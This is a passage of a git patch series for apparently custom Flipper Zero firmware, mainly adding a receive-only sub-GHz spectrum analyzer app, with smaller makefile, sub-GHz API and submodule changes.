tetris_state->playField[lines[i]][j] = false; + } + // move all above rows down + for(int k = lines[i]; k >= 0 ; k--) { + for(int m = 0; m < FIELD_WIDTH; m++) { + tetris_state->playField[k][m] = (k == 0) ? false : tetris_state->playField[k-1][m]; + } + } + } + + memcpy(&tetris_state->currPiece, &shapes[rand() % 7], sizeof(tetris_state->currPiece)); + } + } + + if(tetris_game_is_valid_pos(tetris_state, newPiece->p)) { + memcpy(&tetris_state->currPiece, newPiece, sizeof(tetris_state->currPiece)); + } + + tetris_game_render_curr_piece(tetris_state); + + view_port_update(view_port); + release_mutex(&state_mutex, tetris_state); + } + + osTimerDelete(timer); + view_port_enabled_set(view_port, false); + gui_remove_view_port(gui, view_port); + furi_record_close("gui"); + view_port_free(view_port); + osMessageQueueDelete(event_queue); + delete_mutex(&state_mutex); + free(newPiece); + free(tetris_state); + + return 0; +} From d68bd32ba08a9f85164c3253312b4902196d66f9 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Sun, 8 May 2022 15:14:34 +0300 Subject: [PATCH 154/461] Update git.mk Fix "dirty" files. --- make/git.mk | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/make/git.mk b/make/git.mk index e58876a8c..5ff53a1b8 100644 --- a/make/git.mk +++ b/make/git.mk @@ -4,7 +4,7 @@ GIT_BRANCH_NUM := $(shell git rev-list --count HEAD || echo 'nan') BUILD_DATE := $(shell date '+%d-%m-%Y' || echo 'unknown') BUILD_TIME := $(shell date '+%H:%M:%S' || echo 'unknown') VERSION := $(shell git describe --tags --abbrev=0 --exact-match 2>/dev/null || echo 'unknown') -GIT_DIRTY_BUILD := $(shell git diff --quiet ; echo $$?) +GIT_DIRTY_BUILD := $(shell echo 0) GIT_DIRTY_SUFFIX := ifeq ($(GIT_DIRTY_BUILD), 1) From 16db5b1564352c1284c6b0032621fe850e0ca9ec Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Sun, 8 May 2022 21:26:15 +0300 Subject: [PATCH 155/461] Update subghz_scene_set_seed.c new func --- applications/subghz/scenes/subghz_scene_set_seed.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/applications/subghz/scenes/subghz_scene_set_seed.c b/applications/subghz/scenes/subghz_scene_set_seed.c index 008c6107a..c75376bf2 100644 --- a/applications/subghz/scenes/subghz_scene_set_seed.c +++ b/applications/subghz/scenes/subghz_scene_set_seed.c @@ -45,7 +45,7 @@ bool subghz_scene_set_seed_on_event(void* context, SceneManagerEvent event) { subghz_transmitter_alloc_init(subghz->txrx->environment, "Faac SLH"); if(subghz->txrx->transmitter) { subghz_protocol_faac_slh_create_data( - subghz->txrx->transmitter->protocol_instance, + subghz_transmitter_get_protocol_instance(subghz->txrx->transmitter), subghz->txrx->fff_data, fix_part >> 4, fix_part & 0xf, From 40b0efc971fe7556a1bf4bb3b6ab990b588a8154 Mon Sep 17 00:00:00 2001 From: djsime1 Date: Mon, 9 May 2022 21:33:45 -0500 Subject: [PATCH 156/461] Merge spectrum analyzer --- applications/applications.c | 9 + applications/applications.mk | 7 + .../spectrum_analyzer/spectrum_analyzer.c | 459 ++++++++++++++++++ .../spectrum_analyzer/spectrum_analyzer.h | 66 +++ .../spectrum_analyzer_worker.c | 195 ++++++++ .../spectrum_analyzer_worker.h | 33 ++ 6 files changed, 769 insertions(+) create mode 100644 applications/spectrum_analyzer/spectrum_analyzer.c create mode 100644 applications/spectrum_analyzer/spectrum_analyzer.h create mode 100644 applications/spectrum_analyzer/spectrum_analyzer_worker.c create mode 100644 applications/spectrum_analyzer/spectrum_analyzer_worker.h diff --git a/applications/applications.c b/applications/applications.c index 7067685f7..9e19ea5d8 100644 --- a/applications/applications.c +++ b/applications/applications.c @@ -49,6 +49,7 @@ extern int32_t text_box_test_app(void* p); extern int32_t music_player_app(void* p); extern int32_t snake_game_app(void* p); extern int32_t tetris_game_app(void *p); +extern int32_t spectrum_analyzer_app(void* p); // On system start hooks declaration extern void bt_on_system_start(); @@ -357,6 +358,14 @@ const FlipperApplication FLIPPER_PLUGINS[] = { .stack_size = 1024, .icon = NULL}, #endif + +#ifdef APP_SPECTRUM_ANALYZER + {.app = spectrum_analyzer_app, + .name = "Spectrum Analyzer", + .stack_size = 1024, + .icon = &A_Plugins_14, + .flags = FlipperApplicationFlagDefault}, +#endif }; const size_t FLIPPER_PLUGINS_COUNT = COUNT_OF(FLIPPER_PLUGINS); diff --git a/applications/applications.mk b/applications/applications.mk index 2508395d7..4ae0a87ad 100644 --- a/applications/applications.mk +++ b/applications/applications.mk @@ -48,6 +48,7 @@ APP_UPDATER = 1 APP_MUSIC_PLAYER = 1 APP_SNAKE_GAME = 1 APP_TETRIS_GAME = 1 +APP_SPECTRUM_ANALYZER = 1 # Debug APP_ACCESSOR = 1 @@ -241,6 +242,12 @@ CFLAGS += -DAPP_TETRIS_GAME SRV_GUI = 1 endif +APP_SPECTRUM_ANALYZER ?= 0 +ifeq ($(APP_SPECTRUM_ANALYZER), 1) +CFLAGS += -DAPP_SPECTRUM_ANALYZER +SRV_GUI = 1 +endif + APP_IBUTTON ?= 0 ifeq ($(APP_IBUTTON), 1) CFLAGS += -DAPP_IBUTTON diff --git a/applications/spectrum_analyzer/spectrum_analyzer.c b/applications/spectrum_analyzer/spectrum_analyzer.c new file mode 100644 index 000000000..5d9ec2531 --- /dev/null +++ b/applications/spectrum_analyzer/spectrum_analyzer.c @@ -0,0 +1,459 @@ +#include +#include + +#include +#include +#include +#include "spectrum_analyzer.h" + +#include + +#include +#include "spectrum_analyzer_worker.h" + +typedef struct { + uint16_t center_freq; + uint8_t width; + uint8_t band; + uint8_t vscroll; + + uint32_t channel0_frequency; + uint32_t spacing; + + float max_rssi; + uint8_t max_rssi_dec; + uint8_t max_rssi_channel; + uint8_t channel_ss[NUM_CHANNELS]; +} SpectrumAnalyzerModel; + +typedef struct { + SpectrumAnalyzerModel* model; + osMutexId_t* model_mutex; + + osMessageQueueId_t event_queue; + + ViewPort* view_port; + Gui* gui; + + SpectrumAnalyzerWorker* worker; +} SpectrumAnalyzer; + +void spectrum_analyzer_draw_scale(Canvas* canvas, const SpectrumAnalyzerModel* model) { + // Draw line + canvas_draw_line( + canvas, FREQ_START_X, FREQ_BOTTOM_Y, FREQ_START_X + FREQ_LENGTH_X, FREQ_BOTTOM_Y); + // Draw minor scale + for(int i = FREQ_START_X; i < FREQ_START_X + FREQ_LENGTH_X; i += 5) { + canvas_draw_line(canvas, i, FREQ_BOTTOM_Y, i, FREQ_BOTTOM_Y + 2); + } + // Draw major scale + for(int i = FREQ_START_X; i < FREQ_START_X + FREQ_LENGTH_X; i += 25) { + canvas_draw_line(canvas, i, FREQ_BOTTOM_Y, i, FREQ_BOTTOM_Y + 4); + } + + // Draw scale tags + uint16_t tag_left; + uint16_t tag_center; + uint16_t tag_right; + char temp_str[18]; + + tag_center = model->center_freq; + + switch(model->width) { + case NARROW: + tag_left = model->center_freq - 2; + tag_right = model->center_freq + 2; + break; + case ULTRAWIDE: + tag_left = model->center_freq - 40; + tag_right = model->center_freq + 40; + break; + default: + tag_left = model->center_freq - 10; + tag_right = model->center_freq + 10; + } + + canvas_set_font(canvas, FontSecondary); + snprintf(temp_str, 18, "%u", tag_left); + canvas_draw_str_aligned(canvas, FREQ_START_X, 63, AlignCenter, AlignBottom, temp_str); + snprintf(temp_str, 18, "%u", tag_center); + canvas_draw_str_aligned(canvas, 128 / 2, 63, AlignCenter, AlignBottom, temp_str); + snprintf(temp_str, 18, "%u", tag_right); + canvas_draw_str_aligned( + canvas, FREQ_START_X + FREQ_LENGTH_X - 1, 63, AlignCenter, AlignBottom, temp_str); +} + +static void spectrum_analyzer_render_callback(Canvas* const canvas, void* ctx) { + SpectrumAnalyzer* spectrum_analyzer = ctx; + furi_check(osMutexAcquire(spectrum_analyzer->model_mutex, osWaitForever) == osOK); + + SpectrumAnalyzerModel* model = spectrum_analyzer->model; + + spectrum_analyzer_draw_scale(canvas, model); + + for(uint8_t column = 0; column < 128; column++) { + uint8_t ss = model->channel_ss[column + 2]; + // Compress height to max of 64 values (255>>2) + uint8_t s = MAX((ss - model->vscroll) >> 2, 0); + uint8_t y = FREQ_BOTTOM_Y - s; // bar height + + // Draw each bar + canvas_draw_line(canvas, column, FREQ_BOTTOM_Y, column, y); + } + + // Draw cross and label + if(model->max_rssi > PEAK_THRESHOLD) { + // Compress height to max of 64 values (255>>2) + uint8_t max_y = MAX((model->max_rssi_dec - model->vscroll) >> 2, 0); + max_y = (FREQ_BOTTOM_Y - max_y); + + // Cross + int16_t x1, x2, y1, y2; + x1 = model->max_rssi_channel - 2 - 2; + if(x1 < 0) x1 = 0; + y1 = max_y - 2; + if(y1 < 0) y1 = 0; + x2 = model->max_rssi_channel - 2 + 2; + if(x2 > 127) x2 = 127; + y2 = max_y + 2; + if(y2 > 63) y2 = 63; // SHOULD NOT HAPPEN CHECK! + canvas_draw_line(canvas, x1, y1, x2, y2); + + x1 = model->max_rssi_channel - 2 + 2; + if(x1 > 127) x1 = 127; + y1 = max_y - 2; + if(y1 < 0) y1 = 0; + x2 = model->max_rssi_channel - 2 - 2; + if(x2 < 0) x2 = 0; + y2 = max_y + 2; + if(y2 > 63) y2 = 63; // SHOULD NOT HAPPEN CHECK! + canvas_draw_line(canvas, (uint8_t)x1, (uint8_t)y1, (uint8_t)x2, (uint8_t)y2); + + // Label + char temp_str[36]; + snprintf( + temp_str, + 36, + "Peak: %3.2f Mhz %3.1f dbm", + ((float)(model->channel0_frequency + (model->max_rssi_channel * model->spacing)) / + 1000000), + model->max_rssi); + canvas_draw_str_aligned(canvas, 127, 0, AlignRight, AlignTop, temp_str); + } + + osMutexRelease(spectrum_analyzer->model_mutex); + + // FURI_LOG_D("Spectrum", "model->vscroll %u", model->vscroll); +} + +static void spectrum_analyzer_input_callback(InputEvent* input_event, void* ctx) { + SpectrumAnalyzer* spectrum_analyzer = ctx; + // Only handle short presses + if(input_event->type == InputTypeShort) { + osMessageQueuePut(spectrum_analyzer->event_queue, input_event, 0, osWaitForever); + } +} + +static void spectrum_analyzer_worker_callback( + void* channel_ss, + float max_rssi, + uint8_t max_rssi_dec, + uint8_t max_rssi_channel, + void* context) { + SpectrumAnalyzer* spectrum_analyzer = context; + furi_check(osMutexAcquire(spectrum_analyzer->model_mutex, osWaitForever) == osOK); + + SpectrumAnalyzerModel* model = (SpectrumAnalyzerModel*)spectrum_analyzer->model; + memcpy(model->channel_ss, (uint8_t*)channel_ss, sizeof(uint8_t) * NUM_CHANNELS); + model->max_rssi = max_rssi; + model->max_rssi_dec = max_rssi_dec; + model->max_rssi_channel = max_rssi_channel; + + osMutexRelease(spectrum_analyzer->model_mutex); + view_port_update(spectrum_analyzer->view_port); +} + +void spectrum_analyzer_calculate_frequencies(SpectrumAnalyzerModel* model) { + // REDO ALL THIS. CALCULATE ONLY WITH SPACING! + + uint8_t new_band; + uint32_t min_hz; + uint32_t max_hz; + uint8_t margin; + uint8_t step; + uint16_t upper_limit; + uint16_t lower_limit; + uint16_t next_up; + uint16_t next_down; + uint8_t next_band_up; + uint8_t next_band_down; + + switch(model->width) { + case NARROW: + margin = NARROW_MARGIN; + step = NARROW_STEP; + model->spacing = NARROW_SPACING; + break; + case ULTRAWIDE: + margin = ULTRAWIDE_MARGIN; + step = ULTRAWIDE_STEP; + model->spacing = ULTRAWIDE_SPACING; + /* nearest 20 MHz step */ + model->center_freq = ((model->center_freq + 10) / 20) * 20; + break; + default: + margin = WIDE_MARGIN; + step = WIDE_STEP; + model->spacing = WIDE_SPACING; + /* nearest 5 MHz step */ + model->center_freq = ((model->center_freq + 2) / 5) * 5; + break; + } + + /* handle cases near edges of bands */ + if(model->center_freq > EDGE_900) { + new_band = BAND_900; + upper_limit = UPPER(MAX_900, margin, step); + lower_limit = LOWER(MIN_900, margin, step); + next_up = LOWER(MIN_300, margin, step); + next_down = UPPER(MAX_400, margin, step); + next_band_up = BAND_300; + next_band_down = BAND_400; + } else if(model->center_freq > EDGE_400) { + new_band = BAND_400; + upper_limit = UPPER(MAX_400, margin, step); + lower_limit = LOWER(MIN_400, margin, step); + next_up = LOWER(MIN_900, margin, step); + next_down = UPPER(MAX_300, margin, step); + next_band_up = BAND_900; + next_band_down = BAND_300; + } else { + new_band = BAND_300; + upper_limit = UPPER(MAX_300, margin, step); + lower_limit = LOWER(MIN_300, margin, step); + next_up = LOWER(MIN_400, margin, step); + next_down = UPPER(MAX_900, margin, step); + next_band_up = BAND_400; + next_band_down = BAND_900; + } + + if(model->center_freq > upper_limit) { + model->center_freq = upper_limit; + if(new_band == model->band) { + new_band = next_band_up; + model->center_freq = next_up; + } + } else if(model->center_freq < lower_limit) { + model->center_freq = lower_limit; + if(new_band == model->band) { + new_band = next_band_down; + model->center_freq = next_down; + } + } + + model->band = new_band; + /* doing everything in Hz from here on */ + switch(model->band) { + case BAND_400: + min_hz = MIN_400 * 1000000; + max_hz = MAX_400 * 1000000; + break; + case BAND_300: + min_hz = MIN_300 * 1000000; + max_hz = MAX_300 * 1000000; + break; + default: + min_hz = MIN_900 * 1000000; + max_hz = MAX_900 * 1000000; + break; + } + + model->channel0_frequency = + model->center_freq * 1000000 - (model->spacing * ((NUM_CHANNELS / 2) + 1)); + + // /* calibrate upper channels */ + // hz = model->center_freq * 1000000; + // max_chan = NUM_CHANNELS / 2; + // while (hz <= max_hz && max_chan < NUM_CHANNELS) { + // instance->chan_table[max_chan].frequency = hz; + // FURI_LOG_T("Spectrum", "calibrate_freq ch[%u]: %lu", max_chan, hz); + // hz += model->spacing; + // max_chan++; + // } + + // /* calibrate lower channels */ + // hz = instance->freq * 1000000 - model->spacing; + // min_chan = NUM_CHANNELS / 2; + // while (hz >= min_hz && min_chan > 0) { + // min_chan--; + // instance->chan_table[min_chan].frequency = hz; + // FURI_LOG_T("Spectrum", "calibrate_freq ch[%u]: %lu", min_chan, hz); + // hz -= model->spacing; + // } + + model->max_rssi = -200.0; + model->max_rssi_dec = 0; + + FURI_LOG_D("Spectrum", "setup_frequencies - max_hz: %u - min_hz: %u", max_hz, min_hz); + FURI_LOG_D("Spectrum", "center_freq: %u", model->center_freq); + FURI_LOG_D( + "Spectrum", + "ch[0]: %lu - ch[%u]: %lu", + model->channel0_frequency, + NUM_CHANNELS - 1, + model->channel0_frequency + ((NUM_CHANNELS - 1) * model->spacing)); +} + +SpectrumAnalyzer* spectrum_analyzer_alloc() { + SpectrumAnalyzer* instance = malloc(sizeof(SpectrumAnalyzer)); + instance->model = malloc(sizeof(SpectrumAnalyzerModel)); + + SpectrumAnalyzerModel* model = instance->model; + + for(uint8_t ch = 0; ch < NUM_CHANNELS - 1; ch++) { + model->channel_ss[ch] = 0; + } + model->max_rssi_dec = 0; + model->max_rssi_channel = 0; + model->max_rssi = PEAK_THRESHOLD - 1; // Should initializar to < PEAK_THRESHOLD + + model->center_freq = DEFAULT_FREQ; + model->width = WIDE; + model->band = BAND_400; + + model->vscroll = DEFAULT_VSCROLL; + + instance->model_mutex = osMutexNew(NULL); + instance->event_queue = osMessageQueueNew(8, sizeof(InputEvent), NULL); + + instance->worker = spectrum_analyzer_worker_alloc(); + + spectrum_analyzer_worker_set_callback( + instance->worker, spectrum_analyzer_worker_callback, instance); + + // Set system callbacks + instance->view_port = view_port_alloc(); + view_port_draw_callback_set(instance->view_port, spectrum_analyzer_render_callback, instance); + view_port_input_callback_set(instance->view_port, spectrum_analyzer_input_callback, instance); + + // Open GUI and register view_port + instance->gui = furi_record_open("gui"); + gui_add_view_port(instance->gui, instance->view_port, GuiLayerFullscreen); + + return instance; +} + +void spectrum_analyzer_free(SpectrumAnalyzer* instance) { + // view_port_enabled_set(view_port, false); + gui_remove_view_port(instance->gui, instance->view_port); + furi_record_close("gui"); + view_port_free(instance->view_port); + + spectrum_analyzer_worker_free(instance->worker); + + osMessageQueueDelete(instance->event_queue); + + osMutexDelete(instance->model_mutex); + + free(instance->model); + free(instance); + + furi_hal_subghz_idle(); + furi_hal_subghz_sleep(); +} + +int32_t spectrum_analyzer_app(void* p) { + UNUSED(p); + + SpectrumAnalyzer* spectrum_analyzer = spectrum_analyzer_alloc(); + InputEvent input; + + FURI_LOG_D("Spectrum", "Main Loop - Starting worker"); + furi_hal_delay_ms(50); + + spectrum_analyzer_worker_start(spectrum_analyzer->worker); + + FURI_LOG_D("Spectrum", "Main Loop - Wait on queue"); + furi_hal_delay_ms(50); + + while(osMessageQueueGet(spectrum_analyzer->event_queue, &input, NULL, osWaitForever) == osOK) { + furi_check(osMutexAcquire(spectrum_analyzer->model_mutex, osWaitForever) == osOK); + + FURI_LOG_D("Spectrum", "Main Loop - Input: %u", input.key); + + SpectrumAnalyzerModel* model = spectrum_analyzer->model; + + uint8_t vstep = VERTICAL_SHORT_STEP; + uint8_t hstep; + + bool exit_loop = false; + + switch(model->width) { + case NARROW: + hstep = NARROW_STEP; + break; + case ULTRAWIDE: + hstep = ULTRAWIDE_STEP; + break; + default: + hstep = WIDE_STEP; + break; + } + + switch(input.key) { + case InputKeyUp: + model->vscroll = MAX(model->vscroll - vstep, MIN_VSCROLL); + FURI_LOG_D("Spectrum", "Vscroll: %u", model->vscroll); + break; + case InputKeyDown: + model->vscroll = MIN(model->vscroll + vstep, MAX_VSCROLL); + FURI_LOG_D("Spectrum", "Vscroll: %u", model->vscroll); + break; + case InputKeyRight: + model->center_freq += hstep; + FURI_LOG_D("Spectrum", "center_freq: %lu", model->center_freq); + spectrum_analyzer_calculate_frequencies(model); + spectrum_analyzer_worker_set_frequencies( + spectrum_analyzer->worker, model->channel0_frequency, model->spacing, model->width); + break; + case InputKeyLeft: + model->center_freq -= hstep; + spectrum_analyzer_calculate_frequencies(model); + spectrum_analyzer_worker_set_frequencies( + spectrum_analyzer->worker, model->channel0_frequency, model->spacing, model->width); + FURI_LOG_D("Spectrum", "center_freq: %lu", model->center_freq); + break; + case InputKeyOk: { + switch(model->width) { + case WIDE: + model->width = NARROW; + break; + case NARROW: + model->width = ULTRAWIDE; + break; + case ULTRAWIDE: + default: + model->width = WIDE; + } + } + spectrum_analyzer_calculate_frequencies(model); + spectrum_analyzer_worker_set_frequencies( + spectrum_analyzer->worker, model->channel0_frequency, model->spacing, model->width); + FURI_LOG_D("Spectrum", "Width: %u", model->width); + break; + case InputKeyBack: + exit_loop = true; + break; + } + + osMutexRelease(spectrum_analyzer->model_mutex); + view_port_update(spectrum_analyzer->view_port); + if(exit_loop == true) break; + } + + spectrum_analyzer_worker_stop(spectrum_analyzer->worker); + + spectrum_analyzer_free(spectrum_analyzer); + + return 0; +} \ No newline at end of file diff --git a/applications/spectrum_analyzer/spectrum_analyzer.h b/applications/spectrum_analyzer/spectrum_analyzer.h new file mode 100644 index 000000000..74e135fcf --- /dev/null +++ b/applications/spectrum_analyzer/spectrum_analyzer.h @@ -0,0 +1,66 @@ +#define NUM_CHANNELS 132 + +// Screen coordinates +#define FREQ_BOTTOM_Y 50 +#define FREQ_START_X 14 +// How many channels displayed on the scale (On screen still 218) +#define FREQ_LENGTH_X 102 +// dBm threshold to show peak value +#define PEAK_THRESHOLD -85 + +/* + * ultrawide mode: 80 MHz on screen, 784 kHz per channel + * wide mode (default): 20 MHz on screen, 196 kHz per channel + * narrow mode: 4 MHz on screen, 39 kHz per channel + */ +#define WIDE 0 +#define NARROW 1 +#define ULTRAWIDE 2 + +/* channel spacing in Hz */ +#define WIDE_SPACING 196078 +#define NARROW_SPACING 39215 +#define ULTRAWIDE_SPACING 784313 + +/* vertical scrolling */ +#define VERTICAL_SHORT_STEP 16 +#define MAX_VSCROLL 120 +#define MIN_VSCROLL 0 +#define DEFAULT_VSCROLL 48 + +/* frequencies in MHz */ +#define DEFAULT_FREQ 440 +#define WIDE_STEP 5 +#define NARROW_STEP 1 +#define ULTRAWIDE_STEP 20 +#define WIDE_MARGIN 13 +#define NARROW_MARGIN 3 +#define ULTRAWIDE_MARGIN 42 + +/* frequency bands supported by device */ +#define BAND_300 0 +#define BAND_400 1 +#define BAND_900 2 + +/* band limits in MHz */ +#define MIN_300 281 +#define CEN_300 315 +#define MAX_300 361 +#define MIN_400 378 +#define CEN_400 435 +#define MAX_400 481 +#define MIN_900 749 +#define CEN_900 855 +#define MAX_900 962 + +/* band transition points in MHz */ +#define EDGE_400 369 +#define EDGE_900 615 + +/* VCO transition points in Hz */ +#define MID_300 318000000 +#define MID_400 424000000 +#define MID_900 848000000 + +#define UPPER(a, b, c) ((((a) - (b) + ((c) / 2)) / (c)) * (c)) +#define LOWER(a, b, c) ((((a) + (b)) / (c)) * (c)) diff --git a/applications/spectrum_analyzer/spectrum_analyzer_worker.c b/applications/spectrum_analyzer/spectrum_analyzer_worker.c new file mode 100644 index 000000000..9bf3c1085 --- /dev/null +++ b/applications/spectrum_analyzer/spectrum_analyzer_worker.c @@ -0,0 +1,195 @@ +#include "spectrum_analyzer.h" +#include "spectrum_analyzer_worker.h" + +#include +#include + +#include + +struct SpectrumAnalyzerWorker { + FuriThread* thread; + bool should_work; + + SpectrumAnalyzerWorkerCallback callback; + void* callback_context; + + uint32_t channel0_frequency; + uint32_t spacing; + uint8_t width; + float max_rssi; + uint8_t max_rssi_dec; + uint8_t max_rssi_channel; + + uint8_t channel_ss[NUM_CHANNELS]; +}; + +/* set the channel bandwidth */ +void spectrum_analyzer_worker_set_filter(SpectrumAnalyzerWorker* instance) { + uint8_t filter_config[2][2] = { + {CC1101_MDMCFG4, 0}, + {0, 0}, + }; + + // FURI_LOG_D("SpectrumWorker", "spectrum_analyzer_worker_set_filter: width = %u", instance->width); + + /* channel spacing should fit within 80% of channel filter bandwidth */ + switch(instance->width) { + case NARROW: + filter_config[0][1] = 0xFC; /* 39.2 kHz / .8 = 49 kHz --> 58 kHz */ + break; + case ULTRAWIDE: + filter_config[0][1] = 0x0C; /* 784 kHz / .8 = 980 kHz --> 812 kHz */ + break; + default: + filter_config[0][1] = 0x6C; /* 196 kHz / .8 = 245 kHz --> 270 kHz */ + break; + } + furi_hal_subghz_load_registers(filter_config); +} + +static int32_t spectrum_analyzer_worker_thread(void* context) { + furi_assert(context); + SpectrumAnalyzerWorker* instance = context; + + FURI_LOG_D("SpectrumWorker", "spectrum_analyzer_worker_thread: Start"); + + // Start CC1101 + furi_hal_subghz_reset(); + furi_hal_subghz_load_preset(FuriHalSubGhzPresetOok650Async); + furi_hal_subghz_set_frequency(433920000); + furi_hal_subghz_flush_rx(); + furi_hal_subghz_rx(); + + static const uint8_t radio_config[][2] = { + {CC1101_FSCTRL1, 0x12}, + {CC1101_FSCTRL0, 0x00}, + + {CC1101_AGCCTRL2, 0xC0}, + + {CC1101_MDMCFG4, 0x6C}, + {CC1101_TEST2, 0x88}, + {CC1101_TEST1, 0x31}, + {CC1101_TEST0, 0x09}, + /* End */ + {0, 0}, + }; + + while(instance->should_work) { + furi_hal_delay_ms(50); + + // FURI_LOG_T("SpectrumWorker", "spectrum_analyzer_worker_thread: Worker Loop"); + furi_hal_subghz_idle(); + furi_hal_subghz_load_registers(radio_config); + + // TODO: Check filter! + // spectrum_analyzer_worker_set_filter(instance); + + instance->max_rssi_dec = 0; + + for(uint8_t ch = 0; ch < NUM_CHANNELS - 1; ch++) { + furi_hal_subghz_set_frequency(instance->channel0_frequency + (ch * instance->spacing)); + + furi_hal_subghz_rx(); + furi_hal_delay_ms(3); + + // dec dBm + //max_ss = 127 -> -10.5 + //max_ss = 0 -> -74.0 + //max_ss = 255 -> -74.5 + //max_ss = 128 -> -138.0 + instance->channel_ss[ch] = (furi_hal_subghz_get_rssi() + 138) * 2; + + if(instance->channel_ss[ch] > instance->max_rssi_dec) { + instance->max_rssi_dec = instance->channel_ss[ch]; + instance->max_rssi = (instance->channel_ss[ch] / 2) - 138; + instance->max_rssi_channel = ch; + } + + furi_hal_subghz_idle(); + } + + // FURI_LOG_T("SpectrumWorker", "channel_ss[0]: %u", instance->channel_ss[0]); + + // Report results back to main thread + if(instance->callback) { + instance->callback( + (void*)&(instance->channel_ss), + instance->max_rssi, + instance->max_rssi_dec, + instance->max_rssi_channel, + instance->callback_context); + } + } + + return 0; +} + +SpectrumAnalyzerWorker* spectrum_analyzer_worker_alloc() { + FURI_LOG_D("Spectrum", "spectrum_analyzer_worker_alloc: Start"); + + SpectrumAnalyzerWorker* instance = malloc(sizeof(SpectrumAnalyzerWorker)); + + instance->thread = furi_thread_alloc(); + furi_thread_set_name(instance->thread, "SpectrumWorker"); + furi_thread_set_stack_size(instance->thread, 2048); + furi_thread_set_context(instance->thread, instance); + furi_thread_set_callback(instance->thread, spectrum_analyzer_worker_thread); + + FURI_LOG_D("Spectrum", "spectrum_analyzer_worker_alloc: End"); + + return instance; +} + +void spectrum_analyzer_worker_free(SpectrumAnalyzerWorker* instance) { + FURI_LOG_D("Spectrum", "spectrum_analyzer_worker_free"); + furi_assert(instance); + furi_thread_free(instance->thread); + free(instance); +} + +void spectrum_analyzer_worker_set_callback( + SpectrumAnalyzerWorker* instance, + SpectrumAnalyzerWorkerCallback callback, + void* context) { + furi_assert(instance); + instance->callback = callback; + instance->callback_context = context; +} + +void spectrum_analyzer_worker_set_frequencies( + SpectrumAnalyzerWorker* instance, + uint32_t channel0_frequency, + uint32_t spacing, + uint8_t width) { + furi_assert(instance); + + FURI_LOG_D( + "SpectrumWorker", + "spectrum_analyzer_worker_set_frequencies - channel0_frequency= %u - spacing = %u - width = %u", + channel0_frequency, + spacing, + width); + + instance->channel0_frequency = channel0_frequency; + instance->spacing = spacing; + instance->width = width; +} + +void spectrum_analyzer_worker_start(SpectrumAnalyzerWorker* instance) { + FURI_LOG_D("Spectrum", "spectrum_analyzer_worker_start"); + + furi_assert(instance); + furi_assert(instance->should_work == false); + + instance->should_work = true; + furi_thread_start(instance->thread); +} + +void spectrum_analyzer_worker_stop(SpectrumAnalyzerWorker* instance) { + FURI_LOG_D("Spectrum", "spectrum_analyzer_worker_stop"); + furi_assert(instance); + furi_assert(instance->should_work == true); + + instance->should_work = false; + furi_thread_join(instance->thread); +} \ No newline at end of file diff --git a/applications/spectrum_analyzer/spectrum_analyzer_worker.h b/applications/spectrum_analyzer/spectrum_analyzer_worker.h new file mode 100644 index 000000000..ca051dacc --- /dev/null +++ b/applications/spectrum_analyzer/spectrum_analyzer_worker.h @@ -0,0 +1,33 @@ +#pragma once + +#include + +typedef void (*SpectrumAnalyzerWorkerCallback)( + void* chan_table, + float max_rssi, + uint8_t max_rssi_dec, + uint8_t max_rssi_channel, + void* context); + +typedef struct SpectrumAnalyzerWorker SpectrumAnalyzerWorker; + +SpectrumAnalyzerWorker* spectrum_analyzer_worker_alloc(); + +void spectrum_analyzer_worker_free(SpectrumAnalyzerWorker* instance); + +void spectrum_analyzer_worker_set_callback( + SpectrumAnalyzerWorker* instance, + SpectrumAnalyzerWorkerCallback callback, + void* context); + +void spectrum_analyzer_worker_set_filter(SpectrumAnalyzerWorker* instance); + +void spectrum_analyzer_worker_set_frequencies( + SpectrumAnalyzerWorker* instance, + uint32_t channel0_frequency, + uint32_t spacing, + uint8_t width); + +void spectrum_analyzer_worker_start(SpectrumAnalyzerWorker* instance); + +void spectrum_analyzer_worker_stop(SpectrumAnalyzerWorker* instance); From 90fad6a2711bbe4f1d075b26924a76e15b4a10c9 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Wed, 11 May 2022 14:19:35 +0300 Subject: [PATCH 157/461] - --- assets/protobuf | 2 +- lib/libusb_stm32 | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/assets/protobuf b/assets/protobuf index ffa62429f..0ad90705b 160000 --- a/assets/protobuf +++ b/assets/protobuf @@ -1 +1 @@ -Subproject commit ffa62429f3c678537e0e883a3a8c3ae5f1398ed4 +Subproject commit 0ad90705b9434b6f8fb2c4b605069f0d56d8cc70 diff --git a/lib/libusb_stm32 b/lib/libusb_stm32 index 6a88ec4d7..6e64179d6 160000 --- a/lib/libusb_stm32 +++ b/lib/libusb_stm32 @@ -1 +1 @@ -Subproject commit 6a88ec4d7709ca8605b5ec3e609057c330ca2a70 +Subproject commit 6e64179d64e5582014a637a108d0870191f7818d From e7089521efe927c394d8854f263922fcf9c9f98d Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Wed, 11 May 2022 14:36:41 +0300 Subject: [PATCH 158/461] update submodules --- assets/protobuf | 2 +- lib/libusb_stm32 | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/assets/protobuf b/assets/protobuf index 0ad90705b..ffa62429f 160000 --- a/assets/protobuf +++ b/assets/protobuf @@ -1 +1 @@ -Subproject commit 0ad90705b9434b6f8fb2c4b605069f0d56d8cc70 +Subproject commit ffa62429f3c678537e0e883a3a8c3ae5f1398ed4 diff --git a/lib/libusb_stm32 b/lib/libusb_stm32 index 6e64179d6..6a88ec4d7 160000 --- a/lib/libusb_stm32 +++ b/lib/libusb_stm32 @@ -1 +1 @@ -Subproject commit 6e64179d64e5582014a637a108d0870191f7818d +Subproject commit 6a88ec4d7709ca8605b5ec3e609057c330ca2a70 From b34018bf1b54c81caba7175305a2b5c89f4a2c0e Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Wed, 11 May 2022 14:48:31 +0300 Subject: [PATCH 159/461] Changed "float" to "double" type fix due to new refactoring in Spectrum App --- applications/spectrum_analyzer/spectrum_analyzer.c | 6 +++--- applications/spectrum_analyzer/spectrum_analyzer_worker.c | 2 +- applications/spectrum_analyzer/spectrum_analyzer_worker.h | 2 +- 3 files changed, 5 insertions(+), 5 deletions(-) diff --git a/applications/spectrum_analyzer/spectrum_analyzer.c b/applications/spectrum_analyzer/spectrum_analyzer.c index 5d9ec2531..e3f557791 100644 --- 